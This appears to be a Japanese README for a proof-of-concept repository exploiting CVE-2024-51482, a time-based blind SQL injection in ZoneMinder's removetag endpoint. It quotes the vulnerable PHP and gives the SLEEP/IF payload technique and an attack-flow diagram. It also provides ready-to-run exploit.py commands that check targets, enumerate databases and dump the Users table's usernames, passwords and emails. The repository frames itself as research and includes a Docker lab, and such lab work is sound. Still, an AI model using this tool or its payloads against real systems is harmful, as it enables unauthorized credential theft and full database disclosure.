
ZoneMinderにおけるCVE-2024-51482の時間ベースSQLインジェクションPoC。再現可能なDockerラボと自動データ抽出機能を備えています。
⚠️ 教育および許可されたセキュリティ研究のみを目的としています。 自分が所有していない、またはテストする書面による許可がないシステムに対してこのツールを実行することは違法です。
このリポジトリは、ZoneMinderを対象とした時間ベースのSQLインジェクションのPoCを含んでいます。
このツールは以下を可能にします:
また、安全なテストのための完全に再現可能なDockerラボも含まれています。
ZoneMinderは、無料のオープンソースの閉回路テレビソフトウェアアプリケーションです。この脆弱性は、ZoneMinderのremovetagエンドポイントにおける不十分な入力検証に起因します。ユーザーから提供された入力が適切なサニタイズやパラメータ化なしにSQLクエリに直接組み込まれるため、攻撃者が悪意のあるブールベースのSQLペイロードを注入することが可能になります。このエクスプロイトは以下を利用します:
SLEEP(x - IF(condition, 0, x))
応答時間からデータを推測します。
脆弱なコードの完全なスニペット(Github Maintainer Advisoryより):
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
攻撃者 ZoneMinder Webアプリ
│ │
│ [認証] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← 認証済みセッション
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQLブールクエリが実行
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ 応答の遅延 (タイミングオラクル) │ ← 条件が推測
│ │
│ リクエストを繰り返す │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ タイミングの差で文字が判明 │
│ │
│ 1文字ずつの二分探索 │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 抽出されたデータ (1文字ずつ) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ データベースの完全な開示 │
│ │
✓ ブラインドSQLiによる完全なデータ流出
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker compose up -d
フラグがない場合、ツールはターゲットに認証し、脆弱性をチェックし、脆弱であればzm.UsersテーブルからID、Username、Password、Name、Emailカラムをダンプします(dump-usersコマンド)。
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
ターゲットが脆弱かどうかのみをチェックします。
python exploit.py -t http://target/zm -u <username> -p <password> check
zm.UsersテーブルからID、Username、Password、Name、Emailカラムをダンプします。何も指定しない場合のデフォルトコマンドです。
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
すべてのデータベースをリストします。
python exploit.py -t http://target/zm -u <username> -p <password> list-db
指定されたデータベース内のテーブルをリストします。
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
指定されたテーブルのカラムをリストします。
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
指定されたテーブルからすべてのデータをダンプします。
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
ダンプするカラムを指定することもできます(デフォルトはすべて):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
ファイルが存在しない場合は作成されます。すでに存在する場合は新しい結果が追加されます。
--outfile results.csv
| フラグ | 説明 | 例 |
|---|---|---|
-t, --target | ターゲットベースURL | -t http://localhost:8080 |
-u, --user | 認証用のユーザー名 | -u admin |
-p, --password | 認証用のパスワード | -p admin |
--cookie | ログインの代わりに既存のZMSESSIDクッキーを使用 | --cookie abc123... |